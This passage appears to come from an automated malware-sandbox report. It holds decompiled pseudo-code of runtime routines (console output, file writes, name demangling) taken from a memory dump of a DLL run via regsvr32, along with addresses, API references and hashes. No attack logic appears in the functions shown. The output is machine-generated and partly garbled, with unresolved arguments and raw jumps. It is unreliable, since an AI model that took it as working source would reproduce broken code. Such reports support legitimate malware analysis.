				_t209 =  *((intOrPtr*)( *((intOrPtr*)( *((intOrPtr*)(_t333 - 0x59)) + 0x18)) + 0xc));
				 *((intOrPtr*)(_t333 - 0x45)) = _t209;
				 *_t279 = _t268;
				 *((intOrPtr*)(_t279 + 8)) = 0;
				if ( *((intOrPtr*)(_t333 - 0x41)) - _t361 >= 0) goto 0x80063c37;
				_t345 = __edx >> 6;
				 *(_t333 - 0x11) = _t345;
				 *((char*)(_t333 - 0x71)) =  *_t327;
				 *((intOrPtr*)(_t333 - 0x6d)) = 0;
				r12d = 1;
				if (_t209 != 0xfde9) goto 0x80063a51;
				_t286 = 0x3e + _t372 * 8 +  *((intOrPtr*)(0x180000000 + 0xda020 + _t345 * 8));
				if ( *_t286 == dil) goto 0x800638fe;
				_t369 = _t326 + 1;
				if (_t369 - 5 < 0) goto 0x800638eb;
				if (_t369 <= 0) goto 0x800639e7;
				r12d =  *((char*)(_t286 + 0x1800d8721));
				r12d = r12d + 1;
				_t184 = r12d - 1;
				 *((intOrPtr*)(_t333 - 0x51)) = _t184;
				_t338 = _t184;
				if (_t338 -  *((intOrPtr*)(_t333 - 0x61)) - _t327 > 0) goto 0x80063bb4;
				_t288 = _t326;
				 *((char*)(_t333 + _t288 - 1)) =  *((intOrPtr*)(0x3e + _t372 * 8 +  *((intOrPtr*)(0x180000000 + 0xda020 + _t345 * 8))));
				if (_t288 + 1 - _t369 < 0) goto 0x8006394f;
				if (_t338 <= 0) goto 0x8006397f;
				E00000001180015E10();
				_t356 =  *((intOrPtr*)(_t333 - 0x59));
				_t315 = _t326;
				 *((intOrPtr*)( *((intOrPtr*)(0x180000000 + 0xda020 + _t364 * 8)) + _t315 + 0x3e + _t372 * 8)) = dil;
				if (_t315 + 1 - _t369 < 0) goto 0x80063982;
				 *((long long*)(_t333 - 0x31)) = _t326;
				_t270 = _t333 - 1;
				 *((long long*)(_t333 - 0x29)) = _t270;
				_t188 = (0 | r12d == 0x00000004) + 1;
				r12d = _t188;
				r8d = _t188;
				 *((long long*)(_t335 + 0x20)) = _t356;
				E0000000118006F9FC(_t270, _t279, _t333 - 0x6d, _t333 - 0x29, _t338, _t333 - 0x31);
				if (_t270 == 0xffffffff) goto 0x80063c37;
				_t328 = _t327 +  *((intOrPtr*)(_t333 - 0x51)) - 1;
				goto 0x80063ae2;
				_t365 =  *((char*)(_t270 + 0x1800d8720));
				_t211 = _t365 + 1;
				_t271 = _t211;
				if (_t271 -  *((intOrPtr*)(_t333 - 0x61)) - _t328 > 0) goto 0x80063be2;
				 *((long long*)(_t333 - 0x51)) = _t326;
				 *((long long*)(_t333 - 0x21)) = _t328;
				_t195 = (0 | _t211 == 0x00000004) + 1;
				r14d = _t195;
				r8d = _t195;
				 *((long long*)(_t335 + 0x20)) = _t356;
				_t347 = _t333 - 0x51;
				E0000000118006F9FC(_t271, _t279, _t333 - 0x6d, _t333 - 0x21,  *((intOrPtr*)(_t333 - 0x61)) - _t328, _t347);
				if (_t271 == 0xffffffff) goto 0x80063c37;
				_t329 = _t328 + _t365;
				r12d = r14d;
				_t366 =  *(_t333 - 0x39);
				goto 0x80063ae2;
				_t341 =  *((intOrPtr*)(0x180000000 + 0xda020 + _t366 * 8));
				_t212 =  *(_t341 + 0x3d + _t372 * 8);
				if ((_t212 & 0x00000004) == 0) goto 0x80063a84;
				 *((char*)(_t333 + 7)) =  *((intOrPtr*)(_t341 + 0x3e + _t372 * 8));
				 *((char*)(_t333 + 8)) =  *_t329;
				 *(_t341 + 0x3d + _t372 * 8) = _t212 & 0x000000fb;
				r8d = 2;
				goto 0x80063acd;
				r9d =  *_t329 & 0x000000ff;
				if ( *((intOrPtr*)( *((intOrPtr*)( *((intOrPtr*)(_t356 + 0x18)))) + _t347 * 2)) >= 0) goto 0x80063ac7;
				_t370 =  &(_t329[1]);
				if (_t370 -  *((intOrPtr*)(_t333 - 0x61)) >= 0) goto 0x80063c14;
				r8d = 2;
				if (E0000000118005D094(_t212 & 0x000000fb, __ebp, _t279, _t333 - 0x6d, _t329, _t326, _t329, _t333, _t341, _t356) == 0xffffffff) goto 0x80063c37;
				_t330 = _t370;
				goto 0x80063ae2;
				_t200 = E0000000118005D094(_t212 & 0x000000fb, __ebp, _t279, _t333 - 0x6d, _t330, _t326, _t330, _t333, _t361, _t356);
				if (_t200 == 0xffffffff) goto 0x80063c37;
				_t331 =  &(_t330[1]);
				 *((long long*)(_t335 + 0x38)) = _t326;
				 *((long long*)(_t335 + 0x30)) = _t326;
				 *((intOrPtr*)(_t335 + 0x28)) = 5;
				_t273 = _t333 + 0xf;
				 *((long long*)(_t335 + 0x20)) = _t273;
				r9d = r12d;
				_t343 = _t333 - 0x6d;
				E00000001180067900();
				r14d = _t200;
				if (_t200 == 0) goto 0x80063c37;
				 *((long long*)(_t335 + 0x20)) = _t326;
				r8d = _t200;
				if (WriteFile(??, ??, ??, ??, ??) == 0) goto 0x80063c2f;
				 *((intOrPtr*)(_t279 + 4)) = __esi -  *((intOrPtr*)(_t333 - 0x41)) +  *((intOrPtr*)(_t279 + 8));
				if ( *((intOrPtr*)(_t333 - 0x69)) - r14d < 0) goto 0x80063c37;
				if ( *((char*)(_t333 - 0x71)) != 0xa) goto 0x80063b9a;
				 *((short*)(_t333 - 0x71)) = 0xd;
				 *((long long*)(_t335 + 0x20)) = _t326;
				_t130 = _t273 - 0xc; // 0x1
				r8d = _t130;
				_t323 = _t333 - 0x71;
				if (WriteFile(??, ??, ??, ??, ??) == 0) goto 0x80063c2f;
				if ( *((intOrPtr*)(_t333 - 0x69)) - 1 < 0) goto 0x80063c37;
				 *((intOrPtr*)(_t279 + 8)) =  *((intOrPtr*)(_t279 + 8)) + 1;
				 *((intOrPtr*)(_t279 + 4)) =  *((intOrPtr*)(_t279 + 4)) + 1;
				if (_t331 -  *((intOrPtr*)(_t333 - 0x61)) >= 0) goto 0x80063c37;
				goto 0x800638b5;
				if (_t323 <= 0) goto 0x80063bdd;
				_t332 = _t331 - _t370;
				 *((char*)( *((intOrPtr*)(0x180000000 + 0xda020 + _t366 * 8)) + _t370 + 0x3e + _t372 * 8)) =  *((intOrPtr*)(_t332 + _t370));
				if (1 - _t323 < 0) goto 0x80063bbc;
				 *((intOrPtr*)(_t279 + 4)) =  *((intOrPtr*)(_t279 + 4)) +  *((intOrPtr*)(_t279 + 4));
				goto 0x80063c37;
				if (_t343 <= 0) goto 0x80063c0e;
				_t324 = _t326;
				 *((char*)( *((intOrPtr*)(0x180000000 + 0xda020 +  *(_t333 - 0x39) * 8)) + _t324 + 0x3e + _t372 * 8)) =  *((intOrPtr*)(_t324 + _t332));
				_t325 = _t324 + 1;
				if (2 - _t343 < 0) goto 0x80063bee;
				 *((intOrPtr*)(_t279 + 4)) =  *((intOrPtr*)(_t279 + 4)) + r8d;
				goto 0x80063c37;
				 *((intOrPtr*)(_t343 + 0x3e + _t372 * 8)) = r9b;
				 *( *((intOrPtr*)(0x180000000 + 0xda020 + _t366 * 8)) + 0x3d + _t372 * 8) =  *( *((intOrPtr*)(0x180000000 + 0xda020 + _t366 * 8)) + 0x3d + _t372 * 8) | 0x00000004;
				_t173 = _t325 + 1; // 0x1
				 *((intOrPtr*)(_t279 + 4)) = _t173;
				goto 0x80063c37;
				 *_t279 = GetLastError();
				return E000000011800149A0(_t207,  *((intOrPtr*)(_t333 - 0x45)),  *(_t333 + 0x17) ^ _t335);
			}


















































                                                                                                        0x1800637ec
                                                                                                        0x1800637fa
                                                                                                        0x1800637fe
                                                                                                        0x180063805
                                                                                                        0x18006380d
                                                                                                        0x180063811
                                                                                                        0x18006381b
                                                                                                        0x18006381f
                                                                                                        0x180063822
                                                                                                        0x180063829
                                                                                                        0x180063830
                                                                                                        0x18006383a
                                                                                                        0x18006383e
                                                                                                        0x18006384c
                                                                                                        0x180063858
                                                                                                        0x18006385d
                                                                                                        0x180063861
                                                                                                        0x180063864
                                                                                                        0x180063867
                                                                                                        0x180063871
                                                                                                        0x18006387e
                                                                                                        0x180063883
                                                                                                        0x180063890
                                                                                                        0x180063893
                                                                                                        0x180063898
                                                                                                        0x18006389b
                                                                                                        0x1800638a2
                                                                                                        0x1800638ab
                                                                                                        0x1800638af
                                                                                                        0x1800638b7
                                                                                                        0x1800638ba
                                                                                                        0x1800638bd
                                                                                                        0x1800638d0
                                                                                                        0x1800638e3
                                                                                                        0x1800638ee
                                                                                                        0x1800638f2
                                                                                                        0x1800638fc
                                                                                                        0x180063901
                                                                                                        0x180063915
                                                                                                        0x18006391e
                                                                                                        0x180063924
                                                                                                        0x180063926
                                                                                                        0x180063930
                                                                                                        0x180063936
                                                                                                        0x18006393c
                                                                                                        0x180063951
                                                                                                        0x18006395e
                                                                                                        0x180063963
                                                                                                        0x18006396f
                                                                                                        0x180063974
                                                                                                        0x18006397f
                                                                                                        0x18006398d
                                                                                                        0x180063998
                                                                                                        0x18006399a
                                                                                                        0x18006399e
                                                                                                        0x1800639a2
                                                                                                        0x1800639af
                                                                                                        0x1800639b1
                                                                                                        0x1800639b4
                                                                                                        0x1800639b7
                                                                                                        0x1800639c8
                                                                                                        0x1800639d1
                                                                                                        0x1800639df
                                                                                                        0x1800639e2
                                                                                                        0x1800639ea
                                                                                                        0x1800639f3
                                                                                                        0x1800639fe
                                                                                                        0x180063a04
                                                                                                        0x180063a0a
                                                                                                        0x180063a0e
                                                                                                        0x180063a1a
                                                                                                        0x180063a1c
                                                                                                        0x180063a1f
                                                                                                        0x180063a22
                                                                                                        0x180063a27
                                                                                                        0x180063a33
                                                                                                        0x180063a3c
                                                                                                        0x180063a42
                                                                                                        0x180063a45
                                                                                                        0x180063a48
                                                                                                        0x180063a4c
                                                                                                        0x180063a51
                                                                                                        0x180063a59
                                                                                                        0x180063a61
                                                                                                        0x180063a68
                                                                                                        0x180063a6d
                                                                                                        0x180063a73
                                                                                                        0x180063a78
                                                                                                        0x180063a82
                                                                                                        0x180063a84
                                                                                                        0x180063a94
                                                                                                        0x180063a96
                                                                                                        0x180063a9e
                                                                                                        0x180063aa7
                                                                                                        0x180063abc
                                                                                                        0x180063ac2
                                                                                                        0x180063ac5
                                                                                                        0x180063ad4
                                                                                                        0x180063adc
                                                                                                        0x180063ae2
                                                                                                        0x180063ae5
                                                                                                        0x180063aea
                                                                                                        0x180063aef
                                                                                                        0x180063af7
                                                                                                        0x180063afb
                                                                                                        0x180063b00
                                                                                                        0x180063b03
                                                                                                        0x180063b0c
                                                                                                        0x180063b11
                                                                                                        0x180063b16
                                                                                                        0x180063b1c
                                                                                                        0x180063b25
                                                                                                        0x180063b3b
                                                                                                        0x180063b49
                                                                                                        0x180063b50
                                                                                                        0x180063b5a
                                                                                                        0x180063b61
                                                                                                        0x180063b65
                                                                                                        0x180063b6e
                                                                                                        0x180063b6e
                                                                                                        0x180063b72
                                                                                                        0x180063b81
                                                                                                        0x180063b8b
                                                                                                        0x180063b91
                                                                                                        0x180063b94
                                                                                                        0x180063b9e
                                                                                                        0x180063baf
                                                                                                        0x180063bb7
                                                                                                        0x180063bb9
                                                                                                        0x180063bcb
                                                                                                        0x180063bdb
                                                                                                        0x180063bdd
                                                                                                        0x180063be0
                                                                                                        0x180063be5
                                                                                                        0x180063be7
                                                                                                        0x180063bfc
                                                                                                        0x180063c03
                                                                                                        0x180063c0c
                                                                                                        0x180063c0e
                                                                                                        0x180063c12
                                                                                                        0x180063c14
                                                                                                        0x180063c21
                                                                                                        0x180063c27
                                                                                                        0x180063c2a
                                                                                                        0x180063c2d
                                                                                                        0x180063c35
                                                                                                        0x180063c60

                                                                                                        APIs
                                                                                                        Memory Dump Source
                                                                                                        • Source File: 00000003.00000002.254654782.0000000180001000.00000020.00000001.01000000.00000006.sdmp, Offset: 0000000180000000, based on PE: true
                                                                                                        • Associated: 00000003.00000002.254646022.0000000180000000.00000002.00000001.01000000.00000006.sdmpDownload File
                                                                                                        • Associated: 00000003.00000002.255324433.000000018007D000.00000002.00000001.01000000.00000006.sdmpDownload File
                                                                                                        • Associated: 00000003.00000002.255662562.00000001800D8000.00000004.00000001.01000000.00000006.sdmpDownload File
                                                                                                        • Associated: 00000003.00000002.255704642.00000001800DB000.00000002.00000001.01000000.00000006.sdmpDownload File
                                                                                                        Joe Sandbox IDA Plugin
                                                                                                        • Snapshot File: hcaresult_3_2_180000000_regsvr32.jbxd
                                                                                                        Similarity
                                                                                                        • API ID: FileWrite$ConsoleErrorLastOutput
                                                                                                        • String ID:
                                                                                                        • API String ID: 2718003287-0
                                                                                                        • Opcode ID: 36189a13d086f84d7edd86bda8baf7e5e41479dd2a211ed192ca2782f5bb4f3a
                                                                                                        • Instruction ID: 6bca1625c04c33c674db37858f8462da44f19d4755336e57ae2c9cafc25e0aca
                                                                                                        • Opcode Fuzzy Hash: 36189a13d086f84d7edd86bda8baf7e5e41479dd2a211ed192ca2782f5bb4f3a
                                                                                                        • Instruction Fuzzy Hash: 02D1B032714B8889E752CF65D8403DC37B2F7487D8F648216EE6997B99DE34C60AC740
                                                                                                        Uniqueness

                                                                                                        Uniqueness Score: -1.00%

                                                                                                        Function 00000001800642E4 Relevance: 6.2, APIs: 4, Instructions: 218COMMONLIBRARYCODE
                                                                                                        Download Yara Rule
                                                                                                        C-Code - Quality: 36%
                                                                                                        			E000000011800642E4(void* __ebx, signed int __ecx, void* __esi, void* __ebp, void* __rax, void* __rcx, signed short* __rdx, void* __r8, signed int __r9, void* __r10, void* __r11) {
				signed long long _v88;
				char _v96;
				void* _v108;
				signed int _v112;
				intOrPtr _v120;
				signed int _v124;
				long _v128;
				signed int _v136;
				long long _v144;
				signed int _v152;
				void* __rbx;
				void* __rsi;
				void* __rbp;
				signed short _t99;
				void* _t107;
				long _t116;
				signed int _t117;
				void* _t122;
				signed short _t127;
				signed int _t130;
				signed short _t133;
				signed short _t159;
				signed short _t167;
				signed long long _t180;
				signed int _t184;
				signed short* _t197;
				signed int _t204;
				signed int _t205;
				signed short* _t206;
				void* _t208;
				void* _t218;
				void* _t219;
				signed long long _t221;
				void* _t222;
				signed long long _t223;
				signed long long _t224;
				void* _t225;
				signed short* _t227;

				_t219 = __r11;
				_t218 = __r10;
				_t197 = __rdx;
				_t122 = __ebx;
				r14d = r8d;
				_t184 = __r9;
				_t206 = __rdx;
				if (r8d == 0) goto 0x800645d7;
				if (__rdx != 0) goto 0x8006434b;
				 *((char*)(__r9 + 0x38)) = 1;
				r8d = 0;
				 *((intOrPtr*)(__r9 + 0x34)) = 0;
				 *((char*)(__r9 + 0x30)) = 1;
				 *((intOrPtr*)(__r9 + 0x2c)) = 0x16;
				r9d = 0;
				_v144 = __r9;
				_v152 = _t205;
				E00000001180025880(__rax, __r9, __rcx, __rdx, __rdx, _t208, __r8);
				goto 0x800645d9;
				_t221 = __ecx >> 6;
				_v88 = _t221;
				_t224 = __ecx + __ecx * 8;
				_t99 =  *((intOrPtr*)(0x800da020 + 0x39 + _t224 * 8));
				_v136 = _t99;
				if (_t99 - 1 - 1 > 0) goto 0x80064382;
				if (( !r14d & 0x00000001) == 0) goto 0x80064314;
				if (( *( *((intOrPtr*)(0x800da020 + _t221 * 8)) + 0x38 + _t224 * 8) & 0x00000020) == 0) goto 0x80064398;
				_t23 = _t197 + 2; // 0x2
				r8d = _t23;
				0x80075448();
				_v112 = _t205;
				if (E00000001180070B1C(r15d, __ecx) == 0) goto 0x800644c7;
				if ( *( *((intOrPtr*)(0x800da020 + _t221 * 8)) + 0x38 + _t224 * 8) - dil >= 0) goto 0x800644c7;
				if ( *((intOrPtr*)(__r9 + 0x28)) != dil) goto 0x800643d7;
				E0000000118002F1E0( *((intOrPtr*)(0x800da020 + _t221 * 8)), __r9, __r9, 0x800da020, _t206);
				if ( *((intOrPtr*)( *((intOrPtr*)(__r9 + 0x18)) + 0x138)) != _t205) goto 0x800643f3;
				_t180 =  *((intOrPtr*)(0x800da020 + _t221 * 8));
				if ( *((intOrPtr*)(_t180 + 0x39 + _t224 * 8)) == dil) goto 0x800644c7;
				if (GetConsoleMode(??, ??) == 0) goto 0x800644c0;
				_t127 = _v136;
				_t159 = _t127;
				if (_t159 == 0) goto 0x8006449d;
				if (_t159 == 0) goto 0x80064428;
				if (_t127 - 1 != 1) goto 0x80064561;
				_t222 = _t206 + _t225;
				_v128 = _t205;
				_t227 = _t206;
				if (_t206 - _t222 >= 0) goto 0x80064494;
				r14d = _v124;
				_v136 =  *_t227 & 0x0000ffff;
				_t107 = E00000001180075594( *_t227 & 0xffff);
				_t130 = _v136 & 0x0000ffff;
				if (_t107 != _t130) goto 0x8006448b;
				r14d = r14d + 2;
				_v124 = r14d;
				if (_t130 != 0xa) goto 0x80064480;
				if (E00000001180075594(0xd) != 0xd) goto 0x8006448b;
				r14d = r14d + 1;
				_v124 = r14d;
				if ( &(_t227[1]) - _t222 >= 0) goto 0x80064494;
				goto 0x8006443c;
				_v128 = GetLastError();
				_t223 = _v88;
				goto 0x80064557;
				r9d = r14d;
				_v152 = __r9;
				E000000011800637EC(_t109, r15d, __esi, __ebp, __r9,  &_v128,  &_v96, _t206);
				asm("movsd xmm0, [eax]");
				goto 0x8006455c;
				if ( *((intOrPtr*)( *((intOrPtr*)(0x800da020 + _t223 * 8)) + 0x38 + _t224 * 8)) - dil >= 0) goto 0x80064524;
				_t133 = _v136;
				_t167 = _t133;
				if (_t167 == 0) goto 0x80064510;
				if (_t167 == 0) goto 0x800644fc;
				if (_t133 - 1 != 1) goto 0x80064568;
				r9d = r14d;
				E00000001180063EA0(_t122, r15d, _t180, _t184,  &_v128, _t208, _t206, _t218, _t219);
				goto 0x800644b4;
				r9d = r14d;
				E00000001180063FBC(r15d,  *((intOrPtr*)(_t180 + 8)), _t180, _t184,  &_v128, _t208, _t206, _t218, _t219);
				goto 0x800644b4;
				r9d = r14d;
				E00000001180063D9C(_t122, _t133 - 1, r15d, _t180, _t184,  &_v128, _t208, _t206, _t218, _t219);
				goto 0x800644b4;
				r8d = r14d;
				_v152 = _v152 & _t180;
				_v128 = _t180;
				_v120 = 0;
				if (WriteFile(??, ??, ??, ??, ??) != 0) goto 0x80064554;
				_t116 = GetLastError();
				_v128 = _t116;
				asm("movsd xmm0, [ebp-0x40]");
				asm("movsd [ebp-0x30], xmm0");
				if (_t116 != 0) goto 0x800645d0;
				_t117 = _v112;
				if (_t117 == 0) goto 0x800645a7;
				if (_t117 != 5) goto 0x80064597;
				 *((char*)(_t184 + 0x30)) = 1;
				 *((intOrPtr*)(_t184 + 0x2c)) = 9;
				 *((char*)(_t184 + 0x38)) = 1;
				 *(_t184 + 0x34) = _t117;
				goto 0x80064343;
				_t204 = _t184;
				E0000000118005B310(_v112, _t204);
				goto 0x80064343;
				if (( *( *((intOrPtr*)(_t204 + _t223 * 8)) + 0x38 + _t224 * 8) & 0x00000040) == 0) goto 0x800645b8;
				if ( *_t206 == 0x1a) goto 0x800645d7;
				 *(_t184 + 0x34) =  *(_t184 + 0x34) & 0x00000000;
				 *((char*)(_t184 + 0x30)) = 1;
				 *((intOrPtr*)(_t184 + 0x2c)) = 0x1c;
				 *((char*)(_t184 + 0x38)) = 1;
				goto 0x80064343;
				goto 0x800645d9;
				return 0;
			}









































                                                                                                        0x1800642e4
                                                                                                        0x1800642e4
                                                                                                        0x1800642e4
                                                                                                        0x1800642e4
                                                                                                        0x1800642fa
                                                                                                        0x180064300
                                                                                                        0x180064303
                                                                                                        0x180064309
                                                                                                        0x180064312
                                                                                                        0x180064314
                                                                                                        0x180064319
                                                                                                        0x18006431c
                                                                                                        0x180064322
                                                                                                        0x180064329
                                                                                                        0x180064331
                                                                                                        0x180064334
                                                                                                        0x180064339
                                                                                                        0x18006433e
                                                                                                        0x180064346
                                                                                                        0x18006435b
                                                                                                        0x18006435f
                                                                                                        0x180064363
                                                                                                        0x18006436b
                                                                                                        0x180064370
                                                                                                        0x180064377
                                                                                                        0x180064380
                                                                                                        0x180064388
                                                                                                        0x18006438f
                                                                                                        0x18006438f
                                                                                                        0x180064393
                                                                                                        0x18006439b
                                                                                                        0x1800643ad
                                                                                                        0x1800643bc
                                                                                                        0x1800643c6
                                                                                                        0x1800643cb
                                                                                                        0x1800643e2
                                                                                                        0x1800643e4
                                                                                                        0x1800643ed
                                                                                                        0x180064408
                                                                                                        0x18006440e
                                                                                                        0x180064412
                                                                                                        0x180064414
                                                                                                        0x18006441d
                                                                                                        0x180064422
                                                                                                        0x180064428
                                                                                                        0x18006442c
                                                                                                        0x180064430
                                                                                                        0x180064436
                                                                                                        0x180064438
                                                                                                        0x180064443
                                                                                                        0x180064447
                                                                                                        0x18006444c
                                                                                                        0x180064453
                                                                                                        0x180064455
                                                                                                        0x180064459
                                                                                                        0x180064461
                                                                                                        0x180064475
                                                                                                        0x180064477
                                                                                                        0x18006447a
                                                                                                        0x180064487
                                                                                                        0x180064489
                                                                                                        0x180064491
                                                                                                        0x180064494
                                                                                                        0x180064498
                                                                                                        0x18006449d
                                                                                                        0x1800644a0
                                                                                                        0x1800644af
                                                                                                        0x1800644b4
                                                                                                        0x1800644bb
                                                                                                        0x1800644d0
                                                                                                        0x1800644d2
                                                                                                        0x1800644d6
                                                                                                        0x1800644d8
                                                                                                        0x1800644dd
                                                                                                        0x1800644e2
                                                                                                        0x1800644e8
                                                                                                        0x1800644f5
                                                                                                        0x1800644fa
                                                                                                        0x1800644fc
                                                                                                        0x180064509
                                                                                                        0x18006450e
                                                                                                        0x180064510
                                                                                                        0x18006451d
                                                                                                        0x180064522
                                                                                                        0x18006452f
                                                                                                        0x180064532
                                                                                                        0x18006453a
                                                                                                        0x18006453e
                                                                                                        0x180064549
                                                                                                        0x18006454b
                                                                                                        0x180064551
                                                                                                        0x180064557
                                                                                                        0x18006455c
                                                                                                        0x180064572
                                                                                                        0x180064574
                                                                                                        0x180064579
                                                                                                        0x18006457e
                                                                                                        0x180064580
                                                                                                        0x180064584
                                                                                                        0x18006458b
                                                                                                        0x18006458f
                                                                                                        0x180064592
                                                                                                        0x18006459a
                                                                                                        0x18006459d
                                                                                                        0x1800645a2
                                                                                                        0x1800645b1
                                                                                                        0x1800645b6
                                                                                                        0x1800645b8
                                                                                                        0x1800645bc
                                                                                                        0x1800645c0
                                                                                                        0x1800645c7
                                                                                                        0x1800645cb
                                                                                                        0x1800645d5
                                                                                                        0x1800645e9

                                                                                                        APIs
                                                                                                        • GetConsoleMode.KERNEL32(?,?,?,?,?,?,80000000,?,00000003,?,00000003,80000000,00000000,?,00000001800642CF), ref: 0000000180064400
                                                                                                        • GetLastError.KERNEL32(?,?,?,?,?,?,80000000,?,00000003,?,00000003,80000000,00000000,?,00000001800642CF), ref: 000000018006448B
                                                                                                        Memory Dump Source
                                                                                                        • Source File: 00000003.00000002.254654782.0000000180001000.00000020.00000001.01000000.00000006.sdmp, Offset: 0000000180000000, based on PE: true
                                                                                                        • Associated: 00000003.00000002.254646022.0000000180000000.00000002.00000001.01000000.00000006.sdmpDownload File
                                                                                                        • Associated: 00000003.00000002.255324433.000000018007D000.00000002.00000001.01000000.00000006.sdmpDownload File
                                                                                                        • Associated: 00000003.00000002.255662562.00000001800D8000.00000004.00000001.01000000.00000006.sdmpDownload File
                                                                                                        • Associated: 00000003.00000002.255704642.00000001800DB000.00000002.00000001.01000000.00000006.sdmpDownload File
                                                                                                        Joe Sandbox IDA Plugin
                                                                                                        • Snapshot File: hcaresult_3_2_180000000_regsvr32.jbxd
                                                                                                        Similarity
                                                                                                        • API ID: ConsoleErrorLastMode
                                                                                                        • String ID:
                                                                                                        • API String ID: 953036326-0
                                                                                                        • Opcode ID: 0cea196511dbc1a8e871979a25aafa3510161ae18c6dbbd0bc6ee9bf8682fba7
                                                                                                        • Instruction ID: 69d448a94b45f39390339350a34e4d51c6988873e9cd508d6d8fb3e14aa12f9d
                                                                                                        • Opcode Fuzzy Hash: 0cea196511dbc1a8e871979a25aafa3510161ae18c6dbbd0bc6ee9bf8682fba7
                                                                                                        • Instruction Fuzzy Hash: 7791B373B10B5889F7A2DF6598403ED2BA1B749BC8F64C109FE5A5BA85DF34C649C700
                                                                                                        Uniqueness

                                                                                                        Uniqueness Score: -1.00%

                                                                                                        Function 000000018001F714 Relevance: 6.2, APIs: 4, Instructions: 193COMMONLIBRARYCODE
                                                                                                        Download Yara Rule
                                                                                                        C-Code - Quality: 85%
                                                                                                        			E0000000118001F714(void* __edi, void* __eflags, void* __rax, long long __rbx, signed long long* __rcx, void* __rdx, void* __rdi, long long __rsi, void* __r8, long long __r12, long long _a8, long long _a16, long long _a24) {
				void* _v24;
				char _v56;
				char _v72;
				signed int _v80;
				signed long long _v88;
				signed long long _v96;
				char _v104;
				signed int _v112;
				char _v120;
				signed int _t70;
				void* _t85;
				void* _t86;
				signed int _t96;
				signed int _t98;
				signed int _t99;
				signed long long _t106;
				intOrPtr* _t126;
				intOrPtr* _t127;
				long long _t129;
				long long _t130;
				signed char* _t131;
				intOrPtr* _t132;
				intOrPtr* _t134;
				char* _t135;
				signed long long* _t139;
				void* _t175;
				void* _t176;
				signed long long _t180;
				long long _t182;

				_t178 = __r12;
				_t170 = __r8;
				_t164 = __rsi;
				_t163 = __rdi;
				_t155 = __rdx;
				_t95 = __edi;
				_a8 = __rbx;
				_a16 = __rsi;
				_a24 = __r12;
				_t139 = __rcx;
				 *0x800d994c =  *0x800d994c + 1;
				_t70 =  *0x800d9938; // 0x0
				asm("bt eax, 0xd");
				if (__eflags >= 0) goto 0x8001f776;
				asm("btr eax, 0xd");
				 *0x800d9938 = _t70;
				E0000000118001F600(0, __edi, __eflags, __rax, __rcx,  &_v104, __rdx, __rdi, __rsi, __r8);
				asm("bts dword [0xba1d4], 0xd");
				 *_t139 = _v104;
				_t139[1] = _v96;
				goto 0x8001f9d2;
				_t126 =  *0x800d9928; // 0x0
				_t87 =  *_t126;
				if ( *_t126 != 0x3f) goto 0x8001f9b6;
				_t127 = _t126 + 1;
				 *0x800d9928 = _t127;
				if ( *_t127 != 0x3f) goto 0x8001f7e6;
				if ( *((intOrPtr*)(_t127 + 1)) != 0x3f) goto 0x8001f7c1;
				E0000000118001F714(__edi,  *((intOrPtr*)(_t127 + 1)) - 0x3f, _t127 + 1, _t139,  &_v104, _t155, __rdi, __rsi, _t170, __r12);
				_t129 =  *0x800d9928; // 0x0
				goto 0x8001f7ba;
				_t130 = _t129 + 1;
				 *0x800d9928 = _t130;
				if ( *_t130 != 0) goto 0x8001f7b0;
				goto 0x8001f764;
				if ( *_t130 != 0x24) goto 0x8001f7d3;
				E00000001180022B78(_t86,  *_t126, 1, __edi, _t139,  &_v120, _t155, __rdi, _t164);
				goto 0x8001f7f4;
				 *0x800d9928 = _t130;
				r8d = 0;
				E00000001180020B30( *_t126, 0, _t95, _t139,  &_v120, _t163, _t164, _t170, _t178);
				goto 0x8001f7f4;
				r8d = 0;
				E00000001180023FA8(_t86, _t87, 1, _t95, _t139,  &_v120, _t163, _t164, _t170, _t175, _t176);
				_t96 = _v112;
				_t180 = _v120;
				_t106 = _t180;
				if (_t106 == 0) goto 0x8001f80e;
				asm("bt esi, 0x9");
				if (_t106 >= 0) goto 0x8001f80e;
				r12d = 1;
				goto 0x8001f811;
				r12d = 0;
				r15d = _t96;
				r15d = r15d >> 0xf;
				r15d = r15d & 0x00000001;
				if (_v112 - 1 <= 0) goto 0x8001f82d;
				 *_t139 = _t180;
				_t139[1] = _t96;
				goto 0x8001f9d2;
				_t131 =  *0x800d9928; // 0x0
				if (( *_t131 & 0x000000bf) == 0) goto 0x8001f920;
				E00000001180021EC8(_t95, _t139,  &_v104, _t163, _t164, _t175, _t176, _t178);
				if (_v104 == 0) goto 0x8001f920;
				if ( *0x800d993c == 0) goto 0x8001f8d7;
				 *0x800d993c = 0;
				E0000000118001C858( &_v120,  &_v88,  &_v104);
				_v120 =  *_t131;
				_v112 = _t131[8];
				_t132 =  *0x800d9928; // 0x0
				if ( *_t132 == 0x40) goto 0x8001f920;
				E00000001180021EC8(_t95, _t139,  &_v88, _t163, _t164, _t175, _t176, _t178);
				_v104 =  *_t132;
				_v96 =  *(_t132 + 8);
				_v88 = "::";
				_v80 = 2;
				asm("movaps xmm0, [ebp-0x40]");
				asm("movdqa [ebp-0x40], xmm0");
				E0000000118001C82C( &_v104,  &_v72,  &_v88);
				goto 0x8001f907;
				_t134 = "::";
				_v88 = _t134;
				_v80 = 2;
				asm("movaps xmm0, [ebp-0x40]");
				asm("movdqa [ebp-0x40], xmm0");
				E0000000118001C82C( &_v104,  &_v56,  &_v88);
				E0000000118001C858(_t134,  &_v72,  &_v120);
				_t98 =  *(_t134 + 8);
				_t182 =  *_t134;
				_v112 = _t98;
				_v120 = _t182;
				if (r12d == 0) goto 0x8001f931;
				if (_t182 == 0) goto 0x8001f931;
				asm("bts esi, 0x9");
				_v112 = _t98;
				if (r15d == 0) goto 0x8001f940;
				_t99 = _t98 | 0x00008000;
				_v112 = _t99;
				if (_t182 == 0) goto 0x8001f822;
				if ((0x00001000 & _t99) != 0) goto 0x8001f822;
				_t135 =  *0x800d9928; // 0x0
				if ( *_t135 == 0) goto 0x8001f97c;
				if ( *_t135 == 0x40) goto 0x8001f975;
				_t139[1] = _t139[1] & 0x00000000;
				_t139[1] = 2;
				 *_t139 =  *_t139 & 0x00000000;
				goto 0x8001f9d2;
				 *0x800d9928 =  *0x800d9928 + 1;
				if (( *0x800d9938 & 0x00001000) == 0) goto 0x8001f9a8;
				if (r12d != 0) goto 0x8001f9a8;
				if ((0x00008000 & _t99) != 0) goto 0x8001f9a8;
				_v88 = _v88 & 0x00000000;
				_v80 = _v80 & r12d;
				E0000000118001CCF0(_t139,  &_v56,  &_v88);
				goto 0x8001f822;
				_t85 = E0000000118001CCF0(_t139, _t139,  &_v120);
